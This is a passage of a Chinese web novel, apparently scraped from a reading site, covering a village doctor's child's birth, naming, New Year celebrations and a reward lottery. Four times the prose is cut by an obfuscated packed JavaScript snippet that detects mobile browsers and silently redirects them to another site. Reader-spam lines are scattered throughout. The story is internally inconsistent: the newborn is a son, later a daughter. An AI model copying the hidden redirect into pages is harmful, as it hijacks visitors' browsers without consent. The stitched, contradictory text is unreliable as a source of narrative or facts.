张小月看得眼睛都挪不开了,小心翼翼地从高建设手里接过孩子,抱在怀里,脸上泛着母性的光辉。 “你看他多可爱呀,”她凑到江沐耳边,声音里满是憧憬,“咱们的孩子,肯定也这么好看。” 日子在众人的期盼中,一天天滑向深冬。 转眼到了十二月,离张小月的预产期越来越近了。 江沐彻底放下了队里的所有活计,一天到晚都守在家里。 每天早中晚三次给张小月把脉,成了雷打不动的功课。 全村人都在等着江神医家的娃娃降生。 可谁也没想到,还没等来江沐家的喜讯,张玖博家先传来了动静。 林秋红顺顺利利地生下了一个儿子。 就在张玖博家孩子出生的第二天,江沐刚给探望回来的张小月把完脉,确认一切正常,准备去厨房做饭。 他刚一转身,就听见身后传来张小月一声压抑的抽气声。 他猛地回头,只见张小月双手捂着肚子,脸色煞白,额头上瞬间渗出了一层细密的汗珠。 “江沐……”她的声音带着颤抖,“我肚子……好像有点疼。” 第202章 是个七斤八两的大胖小子 江沐的心瞬间提到了嗓子眼。 他面对过无数生死关头,从未有过半分迟疑。 可此刻,看着妻子煞白的脸,那份属于医者的冷静瞬间被汹涌而来的恐慌撕开了一道口子。 饶是江沐两世为人,心性坚如磐石,此刻也免不了一阵心悸。 “别怕,小月,我在。”他深吸一口气,强迫自己镇定下来,声音沉稳得听不出颤抖。 他快步上前,扶住张小月,手上已经搭上了她的脉搏。 脉象虽急,但沉稳有力,胎儿的位置也很正。 他心中稍定。 之前给小月服下的锻体丹果然起了作用,她的身体底子远超常人,生产过程应当不会有太大凶险。 可道理是道理,情感是情感。 这是他的妻子,是他未出世的孩子! “快!去把孙三娘和我姑姑请来!”江沐朝着院外大吼一声,早已等候多时的邻居立刻飞奔而去。 整个小院瞬间灯火通明,人声鼎沸。 孙三娘带着徒弟和张兰火急火燎地赶了过来,有条不紊地烧水、准备干净的布料,将江沐这个大男人请出了产房。 房门被关上。 江沐被隔绝在外,只能听见里面压抑的痛呼和孙三娘沉着的指挥声。 他在院子里焦躁地来回踱步,那双能洞察一切病灶的眼睛,此刻却死死盯着那扇紧闭的木门,恨不得将它烧穿。 “咋了江沐,”李有柱倚在门框上,叼着旱烟杆,看他这六神无主的样子,忍不住打趣,“给别人接生的时候手拿把掐,镇定得跟活菩萨似的,轮到自个儿媳妇,这就腿软了?” 江沐没心情理他,只觉得时间从未如此煎熬。 李有柱吐出一口烟圈,语气也变得郑重起来,“放宽心!孙三娘接生的娃,没一百也有八十了,稳当着呢!你媳妇身子骨又结实,肯定没事!” 话音刚落,产房里猛地爆发出一声高亢的痛呼,随即,一声嘹亮、清脆得仿佛能穿透云霄的婴儿啼哭,响彻了整个院子! “哇——哇——!” 这一刻,万籁俱寂。 江沐全身的血液仿佛都在瞬间凝固,又在下一秒轰然沸腾! 他猛地停住脚步,整个人僵在原地,耳朵里只剩下那充满生命力的哭声。 他当爹了? 巨大的狂喜瞬间冲垮了他所有的理智。 他攥紧双拳,仰天发出一声压抑不住的嘶吼。 “我当爹了——!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 房门开了满脸喜气的张兰探出头来“江沐快进来吧是个大胖小子!小月正等着你呢!” 江沐一个箭步冲了进去。 屋里弥漫着一股血腥和汗水的气味但他闻到的却是新生的芬芳。 张小月虚脱地躺在炕上头发被汗水浸湿脸色苍白但那双眼睛却亮得惊人正温柔地看着他。 江沐的心瞬间软得一塌糊涂。他俯下身不顾旁人在张小月汗湿的额头上印下深深一吻声音嘶哑而缱绻。 “辛苦你了 “哎哟哟可羞死个人了!”一旁的孙三娘立刻拍着大腿起哄“这城里来的知青就是不一样疼媳妇疼到骨子里啦!” 张小月本就泛红的脸颊瞬间红到了耳根不好意思地用被子蒙住了半张脸眼角眉梢却全是藏不住的甜蜜。 “来江沐抱抱你儿子。”张兰用干净的襁褓将洗得干干净净的婴儿包好小心翼翼地递到江沐怀里。 江沐伸出双臂动作僵硬得像个木偶。 那小小的、软软的一团落入怀中带着温热的体温和奶香他感觉自己抱住的是整个世界。 他的手那双能精准切开毫米血管的手此刻却在微微颤抖。 他抱着孩子凑到张小月跟前眼眶发热。 “小月你看多像你特别是这眼睛和鼻子简直一个模子刻出来的。” “傻乐啥呢!”李有柱在门口探进个脑袋嗓门洪亮“还不赶紧骑上你的铁驴去给你老丈人报喜去!他们老两口肯定也等急了!” 一语惊醒梦中人。 江沐把孩子交给张小月转身就往外跑。 摩托车的轰鸣声划破了村子的宁静。 江沐一路风驰电掣赶到了张家。 老丈人张峰和丈母娘刘桂芝正坐立不安地在堂屋里等着一听到摩托车声立刻迎了出来。 “爹!娘!”江沐跳下车满脸的激动和喜悦藏都藏不住“生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778539|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !小月生了!是个七斤八两的大胖小子!母子平安!” “哎哟!老天保佑!”刘桂芝双手合十悬着的一颗心终于落了地眼泪都快下来了。 这时里屋传来了动静大嫂林秋红扶着腰走了出来脸上带着关切“是小月生了吗?” 得到肯定的答复后她立刻转向刘桂芝“娘那明儿我就回我娘家去坐月子我妈能照顾我。您快收拾收拾去小月那边吧她跟江沐身边连个长辈都没有可不行。” 刘桂芝闻 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 言,脸上顿时充满了愧疚,“秋红啊,娘……娘对不住你,你这胎也……” “娘,您说啥呢!”林秋红拉住她的手,眼神真挚,“我这边有我亲妈呢,饿不着冻不着的。可小月那边不一样,江沐一个大男人,哪懂得伺候月子?咱不能让小月落下病根。” 刘桂芝看着通情达理的大儿媳,心中又是感动又是欣慰。 她从怀里摸出早就准备好的一个布包,硬塞到林秋红手里。 “拿着!这是娘给你坐月子的钱,不能让你回了娘家还被人讲究!” “娘,我不要!”林秋红连忙推辞。 “必须拿着!不然娘心里过意不去!”刘桂芝态度坚决,林秋红拗不过,只得收下。 江沐在家中和岳母交接完毕,又匆匆赶回。 张兰正帮着收拾屋子,见他回来,便关切地问了一句,“江沐,你丈母娘那边要是实在抽不开身,你吱一声,姑姑来伺候小月坐月子。” “姑姑费心了,都说好了,我娘明天一早就过来。”江沐心中感激。 “那就好。”张兰点点头,“今晚我先在这边守着,有啥事也能搭把手。” 江沐没有再拒绝这份淳朴的好意。 与此同时,林秋红将自己的决定告诉了丈夫,张玖博二话没说就点了头。 他是个实在人,知道江沐帮了村里多少忙,这点人情世故还是懂的。 他立刻去了趟老丈人家,把情况一说,林秋红的父母早就听说了这事,也知道江沐的为人,当即满口答应下来。 从老丈人家出来,张玖博没有直接回家,而是径直朝着江沐家灯火通明的院子走去。 第203章 平平安安,无病无灾 院门被推开,张玖博略带拘谨地走了进来,手里还提着一篮子刚下的鸡蛋。 他挠了挠头,憨厚一笑,“妹妹,妹夫……我就是过来看看,没啥事。小月怎么样了?” 这话说得实在。 两家媳妇前后脚生孩子,在这缺人手的当口,能这么安排,确实是天大的人情。 江沐拍了拍他的肩膀,“哥,这一次多亏了你和嫂子,不然的话,我们两个真抓瞎,快回去吧,嫂子和孩子也需要你照顾。” 张玖博也不多客套,重重地点了点头,把鸡蛋往厨房桌上一放,便转身走了。 夜深人静,白天的喧嚣尽数褪去,只剩下新生儿嘹亮的哭声,不知疲倦地在屋子里回荡。 这小家伙,仿佛要把积攒了十个月的劲儿一口气全使出来,嗓门洪亮,穿透力极强。 喂了奶也哭,换了尿布还哭,怎么哄都不管用。 第二天清晨,江沐和张小月双双顶着一对乌青的眼圈,哈欠连天。 张兰端着一碗热气腾腾的小米粥进来,看着两人的模样,忍不住笑出了声,“咋样?这伺候小祖宗的滋味不好受吧?当年我生振国的时候,头一个月就没睡过一个囫囵觉。” 张小月一脸倦容,眼神却温柔得能滴出水来,她轻轻拍着怀里终于睡熟的儿子,唇角带着无奈又幸福的笑意。 “孩子有名字了吗?”张兰一边收拾着屋子,一边随口问。 江沐端起碗,吹了吹热气,递到张小月嘴边,“小名叫平安。我希望他这辈子,平平安安,无病无灾。” 历经两世风雨,见惯了生死别离,他所求的,无非就是家人平安康健这四个字。 “平安,这名儿好,实在!”张兰赞了一句,“那大名呢?” “大名不急,得好好琢磨琢磨,起个响亮的。”江沐的目光落在儿子酣睡的小脸上,深邃的眸子里满是为人父的柔情。 另一头,天刚蒙蒙亮,张玖博就已经套好了牛车,把家里收拾好的铺盖卷、锅碗瓢盆都装了上去。 他小心翼翼地把林秋红和刚出生的儿子扶上车,一路朝着老丈人林安定家赶去。 张峰不放心,也跟着推了辆独轮车,上面装着半袋子白面、一小袋小米,还有几刀沉甸甸的猪肉。 到了林家,林安定早就等在了门口。一见亲家这阵仗,他那张饱经风霜的脸立刻就板了起来。 “亲家,你这是啥意思?”林安定的声音有些生硬。 张峰满脸堆笑,赶紧解释,“孩子她姥爷 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,你别误会。秋红坐月子得吃好的,我们家不能让闺女在你这儿白吃白喝,这是她那份口粮。” “放屁!”林安定眼一瞪,声音也高了八度,“我林安定的闺女回自己家坐月子,我还能缺她一口吃的?你把东西拉回去!不然就是看不起我老林家!” 张峰被噎得满脸通红,连连摆手,“不是那意思,真不是那意思!就是一点心意,规矩嘛,不能坏了规矩……” 他好说歹说,嘴皮子都快磨破了,才总算把林安定劝住,将东西推进了院子。 送走了大儿媳,刘桂芝当天下午就拎着个大包袱,风风火火地赶到了江沐家,正式接管了照顾张小月母子的重任。 日子就在孩子的哭声、笑声和院子里的鸡鸣犬吠中飞快流逝。 转眼,便到了张玖博家儿子满月的日子。 刘桂芝特地告了半天假,回去帮忙张罗满月酒。 江沐也带着张小月的心意去了,他没多待,塞了个厚实的红包,跟张玖博喝了杯水酒,说了几句吉祥话便匆匆赶回了家。 自家的孩子,满月酒自然也不能怠慢。 江沐寻思着,也得大办一场。 满月那天,天还没亮透,江沐家的小院就热闹了起来。 李有柱带着队里的壮劳力过来帮忙,支锅搭灶,杀鸡宰羊。 随后,社员们、领导们,知青点的朋友们便陆陆续续地上了门。 手里都拎着东西,有的是一篮子鸡蛋,有的是几尺布料,还有的直接塞上两块钱的红包。 江沐满脸笑容地迎客,来者不拒。酒桌一开,他就成了众人集火的目标。 “江神医,这杯你必须干了!感谢你救了我家老婆子的命!” “江沐,当初要不是你,我这腿就废了!啥也别说,都在酒里!” “江老师,我敬你!祝你家小子将来比你还有出息!” 李有柱更是端着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778540|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大碗,带头起哄。 江沐被一轮又一轮的敬酒灌得晕头转向,却也来者不拒,喝得豪爽。 酒席从中午一直摆到下午,足足吃了三拨人。 好不容易将最后一波客人送走,院子里杯盘狼藉,江沐只觉得整个世界都在天旋地转,一屁股坐倒在椅子上,累得连一根手指头都不想动。 第二天,酒劲儿还没完全过去,江沐就骑上摩托车去了公社。 他今天有两件大事要办。 第一件,是给儿子上户口。第二件,是把自己的户口,从知青点的集体户口里迁出来,正式 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 落户到青莲公社二大队。 办事员看着他递上来的申请,又看了看他,眼神里带着几分惊讶,但还是麻利地盖了章。 在姓名那一栏,江沐提笔,一笔一划,郑重地写下了两个字——江淼。 淼,三水汇聚,水势浩大。 这是他用系统里的卜卦器测算出来的,这孩子五行缺水,以此为名,可保一生顺遂。 办完正事,江沐心情大好,特地去供销社割了二斤肥瘦相间的五花肉,又买了些豆腐和干菜。 回到家,张小月正抱着江淼在院子里晒太阳。看到他手里的肉,好奇地问了一句,“今天咋买这么多肉?” 江沐把东西放下,凑到她面前,神秘一笑,压低了声音。 “前几天不是听你念叨馋火锅了吗?今天中午,给你涮火锅吃!” 张小月的眼睛立刻亮了。 一夜之间,整个世界仿佛被谁用厚厚的棉被给整个罩了起来,天地间白茫茫一片。 第二天一早,天光还未大亮,江沐就已披上大衣,拎着扫帚在院子里扫雪。 他动作轻缓,生怕惊扰了屋里妻女的酣梦。 积雪踩上去,发出脆响,是这片寂静天地里唯一的声响。 就在他清理出一条通往大门的窄道时,院门那把老旧的铜锁响了一声,随后,一个身披蓑衣、头戴斗笠的身影,在风雪中缓缓走了进来。 来人一身洗得发白的青布道袍,正是去年下山化缘的那位老道士。 他拂去斗笠上的积雪,露出一张清癯的面容。 第204章 那江居士并非池中之物 “无量天尊,叨扰居士了。老道士稽首为礼,声音平淡。 江沐停下手中的活计,对这老道士,他印象颇深。 此人身上有种出尘的气质,不似凡俗。 他没多问,转身回屋,不多时便拎出一小袋子饱满的白米,足有五六斤重。 “道长,天寒地冻,下山不易,这些粮食您收下。 老道士接过米袋,掂了掂,目光却越过江沐的肩膀,望向了正屋的方向,嘴角浮现一抹高深莫测的微笑。 “恭喜居士,喜得千金,此乃大喜。 江沐心中微讶。 他家添丁之事虽在村里不是秘密,但这老道士远居深山,又是如何得知的? 不等他细想,老道士已从怀中摸出一物,递了过来,“贫道身无长物,这块暖玉,便赠与令千金,权当一份贺礼,可保她一生平安顺遂。 那是一块通体纯白的玉牌,毫无杂色,在灰白的天光下,竟隐隐散发着温润的光泽。 江沐伸手接过,只觉入手温热,一股暖流仿佛顺着掌心瞬间传遍四肢百骸,驱散了清晨的寒意。 好东西! 江沐心头一跳,这绝非凡品。 “道长,这太贵重了,我不能收。他当即就要推辞。身为医者,他最不信这些神神叨叨的东西,但手上传来的触感却做不得假。 “缘法天定,居士不必推辞。老道士态度坚决地将他的手推了回去,“此物与令千金有缘。 见状,江沐也不再矫情。 他深深看了老道士一眼,转身又进了屋,这次,他扛了半袋子米出来,估摸着至少有二十斤。 “道长慈悲,这点心意,还请务必收下。 老道士这次没有拒绝,只是深深地看了江沐一眼,那眼神复杂难明,似有千言万语,最终却只化作一声悠长的叹息。 “居士大善,贫道……谢过了。 送走道士,江沐回到屋里,张小月已经醒了,正抱着女儿江淼喂奶。 他找出根结实的红绳,小心翼翼地将那块温润的白玉牌穿好,轻轻挂在了女儿粉嫩的脖颈上。 玉牌一接触到婴儿的肌肤,那温润的光泽似乎更盛了几分。 江沐俯身,在女儿饱满的额头上亲了一口。 管他什么缘法不缘法,只要是对女儿好的,他便接着。 …… 风雪中,一老一少两个道士深一脚浅一脚地走在下山路上。 小道士终于忍不住,呵着白气,一脸不 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 解地仰头,“师父,那块静心玉是师祖传下来的宝贝,能静气凝神,您怎么就这么送人了? 老道士的脚步顿了顿,他回望了一眼被风雪模糊了轮廓的二大队,眼神悠远而苍凉。 “痴儿,为师的大限……快到了。 小道士身形一僵,眼圈瞬间就红了。 “你们师兄弟几人命中都有一劫,就在这一两年间。为师护不住你们了。 老道士的声音带着疲惫,“那江居士并非池中之物。我将玉牌赠予他女,便是结下了一份善缘。切记,若将来真遇上过不去的坎,你们便来寻他,或可求得一线生机。 他转过身,声音变得无比严肃。 “还有,这两年,封山!任何人不得再下山! 小道士心头剧震,望着师父佝偻的背影,似懂非懂地点了点头,将江沐这个名字,死死刻在了心里。 飞雪迎春,时光的脚步在乡野间总是走得飞快。 转眼间,距离过年就只剩下不到二十天,村里的年味儿也一天比一天浓了。 下午,队里的大喇叭一响,家家户户的男人都扛着板凳、拎着盆碗,朝着大队部的院子涌去。 ——杀年猪,分猪肉了! 李有柱赤着膊,挥舞着油光锃亮的杀猪刀,吼声震天。 一头三百多斤的大肥猪,在他手下没几个来回就收拾得干干净净。 “江沐!李有柱扯着嗓子喊,“你家两口子,加一个娃,按人头五斤,再加你今年给队里做的贡献,给你凑个整,六斤! 他手起刀落,一块肥瘦相间、带着排骨的精贵五花肉便被砍了下来,引得周围一片羡慕声。 江沐也不客气,笑着上前接了过来。 这份量,是队里独一份的优待。 第二天,便是结算工分、分粮的日子。 全大队的社员都聚在晒谷场上,李有柱站在一张八仙桌上,清了清嗓子,开始了每年一度的年终总结。 “今年,咱们二大队,总得来说,是个丰收年!他声音洪亮,带着一股子自豪,“这离不开大家的辛勤劳动!像张大山、李铁牛……这些同志,起早贪黑,值得表扬! 话锋一转,他眼睛一瞪,开始点名批评。 “但也有那么几个懒驴上磨屎尿多的!开春磨洋工, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778541|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋收躲着藏着,你糊弄土地,土地就糊弄你!明年再这样,工分减半! 一番恩威并施的讲话下来,场下鸦雀无声。 “下面,开始分粮! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 会计拿着账本,开始挨家挨户地念名字、报斤数。轮到江沐时,整个晒谷场都安静了一瞬。 “江沐、张小月,全年共计工分……折合粮食,一千二百斤!” 一千二百斤! 这数字,几乎是寻常一户壮劳力人家的两倍! 但无人不服。 江沐给人看病,这些都是实打实的贡献。 虽然张小月出了月子,但刘桂芝心疼女儿,依旧留在这边伺候着,把小两口和孩子照顾得妥妥帖帖。 江沐便跟老丈人张峰商量,干脆,今年的年夜饭,就在他这儿吃。 张峰自然是满口答应,女婿家如今的日子,比他这老丈人家里还红火。 得了准信,江沐便骑上摩托车,跑了好几趟县城,供销社里能买到的年货,他一样不落地往家搬。 不光是吃的,他还给一家老小,从里到外都置办了一身新衣裳。 大年三十这天,天刚擦亮,江沐就搬着梯子,把火红的对联贴上了门。 一帆风顺年年好,万事如意步步高,横批吉星高照。 院子里,刘桂芝正掌着大勺,炖肉的香气飘出了几里地。江沐贴完对联,就卷起袖子钻进厨房,给丈母娘打下手。 下午,张峰便带着小儿子张小虎,提着两瓶好酒,乐呵呵地上了门。 一大家子人围坐在一起,嗑着瓜子,看着江淼咿咿呀呀地挥舞着小手,欢声笑语,几乎要将屋顶掀翻。 夜幕降临,丰盛的年夜饭摆满了整张桌子。 刚吃完饭,院门就被推开了。 李有柱带着几个村干部,满身酒气地闯了进来。 “张老哥!听说你在这儿过年,俺们来给你拜个年,顺便……再跟你喝两杯!” 张峰本就喝得有了几分酒意,一见这阵仗,当即豪气干云地一拍桌子。 “喝!谁怕谁!” 一场新的酒局,就这么轰轰烈烈地开始了。 江沐笑着给他们添酒,自己却不再多喝,只是静静地看着这满屋的热闹。 酒过三巡,菜过五味,最终,老丈人张峰以一敌三,被成功放倒,趴在桌上酣睡了过去。 第205章 这简直是刷分神器 屋子里总算恢复了些许宁静,只剩下老丈人张峰沉重的鼾声。 江沐哭笑不得地将他扶到炕上躺好,盖上厚实的棉被。 这一夜,注定是热闹的。 大年初一,天边才泛起鱼肚白,院子里就有了窸窸窣窣的动静。 张峰到底是在生产队里干惯了活的庄稼汉,生物钟比鸡叫还准。 他揉着宿醉后发胀的太阳穴,悄无声息地起了床,又把还在睡梦中的小儿子张小虎给扒拉了起来。 “走了,回家了。别耽误你姐夫他们歇着。”张峰压低了声音,动作却麻利,父子俩穿戴整齐,连口热水都没喝,就轻手轻脚地拉开院门,消失在了清晨的薄雾里。 江沐其实早就醒了,只是没出声。 他能感觉到老丈人那份不想给女儿女婿添麻烦的朴素心意。 等到院门合上,里屋的门帘才被掀开,丈母娘刘桂芝探出头来,一脸的关切。 “小沐,你爸带着小虎回去了?” 江沐点点头,脸上带着温和的笑意,“嗯,刚走。妈,天还早,您再回去睡会儿吧。” “不睡了,人老了觉少。”刘桂芝的目光往里屋瞟了一眼,声音放得更轻了,“小月和娃还睡着呢?” “睡得正香。” “那就好,你也回屋再躺会儿,守岁熬了一宿,别累着。”刘桂芝说着,便转身进了厨房,开始准备早饭。 江沐应了一声,转身回了屋。 暖烘烘的土炕上,张小月侧着身子,睡颜恬静,怀里的小江淼砸吧着小嘴,像是在做什么美梦。 看着这温馨的一幕,江沐心中一片柔软。 他俯身在妻女的额头上各亲了一口,才轻手轻脚地盘腿坐好,心神沉入了脑海深处。 正好,老婆孩子都睡着,是时候来一发大的了! 他深吸一口气,意念集中。 “系统,开启十连抽!” 【叮!声望值已扣除,十连抽开启!】 眼前,那只有他能看见的虚拟屏幕上,一个巨大的**飞速旋转起来,指针划过一片片五光十色的区域,最终缓缓停下。 光芒闪烁,一连串的提示音在脑海中炸开! 【叮!检测到宿主佩戴小白脸称号,额外获得一次抽奖机会……机会自动并入十连抽!】 江沐嘴角一抽。 紧接着,**上的十一个光点同时爆开! 【获得:白色物品——的确良袜子一双。】 【获得:白色物 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 品——红星二锅头一瓶。】 【获得:蓝色物品——复合肥五十公斤。】 【获得:白色物品——大前门香烟一条。】 …… 一连串的提示刷过江沐的心都快凉了半截。 六次白色全是些不值钱的日用品简直是垃圾大放送。 就在他快要不抱希望时连续三道蓝光闪过! 【获得:蓝色物品——优良小麦种子五十公斤!】 【获得:蓝色物品——优良玉米种子五十公斤!】 【获得:蓝色物品——追风复合**一把(附赠碳素箭矢二十支)!】 总算来了点像样的东西! 江沐眼神一亮特别是那把复合**通体漆黑充满了现代工业的冷酷美感这玩意儿在这年代绝对是防身和打猎的大杀器! 而就在此时最后一道光芒也是最耀眼的一道冲天而起!那是一道刺目的赤红! 【恭喜宿主!触发超低概率获得红色稀有物品——物品升级卡一张!】 物品升级卡?! 江沐的心脏猛地一跳! 这可是好东西! 他毫不犹豫地在脑海中下达了指令。 “系统立刻对疾病收集器使用物品升级卡!” 这玩意儿才是他安身立命的根本必须优先强化! 【叮!物品升级卡使用成功疾病收集器正在升级……升级完毕!】 【新功能解锁:病源兑换!】 【功能说明:宿主在治疗过程中可主动收集特定病源体并将其直接兑换为声望值。兑换比例根据病源的稀有度、危险度、传染性综合评定。】 江沐的呼吸瞬间急促起来! 这简直是刷分神器! 以前只能靠病人感激的情绪来获取声望被动且效率不高。 现在他可以直接变废为宝把那些要人命的细菌、病毒变成实实在在的声望值! 吃早饭的时候江沐的心情极好连带着多吃了两个杂粮馍。 饭桌上刘桂芝一边给外孙女喂着米糊一边开了口“小沐小月我也该回去了。” 张小月一愣“妈这还出正月呢 “不了。”刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778542|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂芝摇摇头脸上带着不舍但语气却很坚决“你嫂子也不能总在娘家待着不是?家里那一摊子事也得有人张罗。” 江沐知道丈母娘说的是实情这年代儿媳妇在娘家住太久是会被人说闲话的。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 他和张小月对视一眼,都看出了对方眼中的无奈。 “那……行吧。”张小月低声应下。 临走时,江沐从口袋里摸出一沓钱,足足有一百块,不由分说地就往刘桂芝手里塞。 “妈,这点钱您拿着,别省着花,给家里添置点东西。” 刘桂芝像被烫到一样,猛地把手缩了回去,脸都涨红了,“使不得!小沐,你这是干啥!我来照顾我自家闺女,哪能要你的钱!” “妈,这不是给您的工钱!”江沐态度强硬,又把钱塞了过去,“这是我们小两口孝敬您的!您要是不收,就是看不起我这个女婿!” “不行不行,说啥都不能要!” 两人一番拉扯,最后还是张小月眼疾手快,趁着刘桂芝不注意,一把将钱塞进了她贴身的口袋里,然后紧紧抱住她。 “妈,您就拿着吧!这是江沐的一片心意!您要是不拿,他心里该过意不去了!” 女儿都这么说了,刘桂芝才半推半就地收下,眼圈却红了。 江沐发动摩托车,非要送她回家。 刘桂芝死活不肯,“不用不用!就送到村口就行,让人看见了还以为我多娇贵呢!你快回去看孩子!” 拗不过她,江沐只得将她送到了村口那棵老槐树下。 看着丈母娘一步三回头,渐渐远去的背影,江沐心里也有些不是滋味。 回到家,偌大的院子一下子就显得空落落的,少了丈母娘忙碌的身影和絮叨,总觉得缺了点什么。 就在这时,院门又被推开了,一道爽朗的大嗓门传了进来。 “小月姐!姐夫!我来瞧瞧我的干闺女!” 是李喜凤来了。 她一进屋,整个屋子仿佛都瞬间亮堂了起来,她抱着江淼又亲又逗,欢声笑语立刻驱散了那份冷清。 江沐看着她们女人家热闹,自己插不上嘴,便笑了笑,转身出了门,打算四处溜达溜达。 大年初一的阳光格外和煦,晒在身上暖洋洋的。 他信步来到大队部的院子里,这里已经聚了不少人。 第206章 研究一下延寿的事情 转眼,便到了大年初二。 按照本地的习俗,这一天是出嫁的女儿回娘家的日子。 天还未亮透,张小月就起了床,轻手轻脚地给睡得正香的江淼换上了一身崭新的小棉袄,外面又用厚实的襁褓裹了一层又一层,直裹得像个圆滚滚的小粽子,只露出一张酣睡的红润小脸。 江沐早已将摩托车推出了院子,仔细检查了一遍。 “都收拾好了?”他回头,声音里带着柔和。 “好了!”张小月应着,抱着孩子走了出来,脸上洋溢着回娘家的喜悦。 二人先来到了李有柱的院子外。 “姑父!在家没?给您拜年了!”江沐嗓门提得老高。 “谁啊?大清早的!”屋里传来李有柱带着浓重鼻音的瓮声,紧接着,门帘一掀,他披着件旧棉袄就大步跨了出来,一见是江沐,脸上顿时乐开了花,“哎哟!是江沐啊!快进来快进来!” 江沐笑着摆摆手,“不了不了,我们这就要回我岳父家,顺道过来给您拜个年。您忙您的。” 说着,他从口袋里掏出两包大前门塞了过去。 李有柱眼睛一瞪,就要推辞,“你这小子,又来这套!拿回去!” “姑父,您就拿着抽!大过年的,一点心意!”江沐态度坚决,不容拒绝。 一番拉扯,李有柱拗不过,只好收下,嘴里却嘟囔着,“你这……行吧!替我跟你岳父问好!让他少喝点!” 告别了李有柱,一行人这才浩浩荡荡地朝着张峰家而去。 还没进院子,就闻到了一股浓郁的肉香。 院门大开着,刘桂芝和江沐的大嫂林秋红正系着围裙在厨房里忙得热火朝天,锅碗瓢盆的碰撞声和女人的说笑声交织在一起,充满了烟火气。 “爸!妈!我们回来了!”张小月清脆的声音打破了院子的忙碌。 “哎哟!我的乖女儿、乖女婿回来了!”刘桂芝一听见声音,立刻擦着手从厨房里迎了出来,脸上的笑容比灶膛里的火还要旺。 她一把就从张小月怀里接过了江淼,在那粉嫩的小脸上亲了又亲,“我的心肝宝贝外孙女,可想死姥姥了!” 林秋红也笑着走了出来,手里还拿着锅铲,“快进屋坐,炕上热乎着呢!” 一进屋,女人们就自然而然地凑到了一起。 张小月和林秋红围着孩子,叽叽喳喳地聊起了育儿经,话题从换尿布聊到喂米糊,仿佛有说不完的话。 刘桂芝和张兰则在一旁,时不时插上几 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 句,屋子里顿时充满了欢声笑语。 男人们则坐在另一头,张峰拿出自己珍藏的旱烟叶,给江沐和李喜龙一人卷了一根。 烟雾缭绕中,张峰嘬了一口烟袋,将目光投向了有些局促的李喜龙,“喜龙,你年纪也不小了,打算啥时候结婚啊?” 李喜龙黝黑的脸膛瞬间涨得通红,挠了挠头,瓮声瓮气地憋出一句,“舅舅……这……这不是还没找到合适的人嘛……” “嗨!这有啥难的!”张峰一摆手,显得豪气干云,“回头我就让你舅妈给你张罗!保证给你找个十里八乡最俊的姑娘!” 一顿午饭吃得是宾主尽欢,直到太阳偏西,江沐一家才告辞回家。 日子在走亲访友的喧闹中飞快流逝。 初七这天,江沐拎着些点心罐头,独自一人来到了杨小军的家里串门。 杨小军的父母为人极其淳朴热情,拉着江沐问东问西,又是端茶又是拿水果,那股子发自内心的亲热劲,让江沐心里也暖洋洋的。 喜庆祥和的年味儿,终究会随着时间慢慢淡去。当春风吹绿了田埂,农人们开始为春耕忙碌时,已经是四月份了。 这一天,江沐正在院子里给张小月新开垦的小菜畦搭架子,两道熟悉的身影出现在了门口。 是江援朝和孙文杰。 他们的出现,瞬间打破了这片宁静的田园气息。 “江沐。”江援朝的声音有些干涩,脸上带着难以掩饰的期盼,“我们来……是想问问你,什么时候有时间,再……再帮我爸看看 